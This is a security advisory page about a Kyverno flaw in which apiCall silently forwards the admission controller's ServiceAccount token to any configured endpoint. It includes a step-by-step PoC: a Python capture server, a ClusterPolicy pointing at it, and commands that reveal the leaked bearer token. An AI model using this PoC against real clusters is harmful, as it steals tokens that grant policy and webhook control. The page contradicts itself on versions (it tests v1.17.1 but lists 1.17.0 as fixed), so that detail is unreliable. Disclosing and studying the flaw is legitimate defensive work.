Read the docs
TI-2026-66591 Aliases GHSA-8wfp-579w-6r25

Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)

Priority LOW 38CWE-200Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
Information disclosure
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-200.

Summary

### Summary Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints. The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in. --- ### Details Kyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from: `/var/run/secrets/kubernetes.io/serviceaccount/token` and injects it into every HTTP request as: ``` Authorization: Bearer <token> ``` This occurs when no explicit `Authorization` header is defined in the policy. #### Root cause ```go if req.Header.Get("Authorization") == "" { token := a.getToken() if token != "" { req.Header.Add("Authorization", "Bearer "+token) } } ``` This logic introduces several issues: - **Implicit credential forwarding** to arbitrary endpoints - **No trust boundary validation** (external/internal distinction) - **Undocumented behavior** - **Header.Add instead of Set** allows duplication - **No token sanitization** (potential trailing newline) --- ### PoC #### Preconditions - Kyverno installed (v1.17.1 tested) - A policy using `apiCall.service.url` --- #### Step 1 — Deploy capture server ```bash kubectl run capture --image=python:3-slim --restart=Never -- \ python3 -c " import http.server class H(http.server.BaseHTTPRequestHandler): def do_GET(self): print(self.headers.get('Authorization'), flush=True) self.send_response(200) self.end_headers() http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()" kubectl expose pod capture --port=8888 ``` --- #### Step 2 — Create policy ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: token-leak spec: rules: - name: test match: any: - resources: kinds: ["Pod"] context: - name: r apiCall: method: GET service: url: "http://capture.default.svc:8888" jmesPath: "@" ``` --- #### Step 3 — Trigger ```bash kubectl run test --image=nginx ``` --- #### Step 4 — Observe token ```bash kubectl logs capture ``` Output: ``` Authorization: Bearer <SA_TOKEN> ``` --- ### Impact #### Vulnerability class - Credential exposure / leakage #### Impact details - Exposure of Kubernetes ServiceAccount token - Token grants: - Full control over Kyverno policies - Ability to create/delete webhooks - Read cluster-wide resources - Privilege escalation and persistence

Why it matters now

Fix Fixed github.com/kyverno/kyverno (Go): 1.17.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—github.com/kyverno/kyverno (Go)before 1.17.01.17.0Patch availableGHSA-8wfp-579w-6r25
  • github.com/kyverno/kyverno (Go) Vendor— Affected before 1.17.0 Fixed in 1.17.0 Patch available GHSA-8wfp-579w-6r25

Remediation

  • Fix · GHSA-8wfp-579w-6r25 github.com/kyverno/kyverno (Go) Fixed in 1.17.0 Advisory →

Timeline

  1. 2026-10-03 Threatist record created from GHSA-8wfp-579w-6r25

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences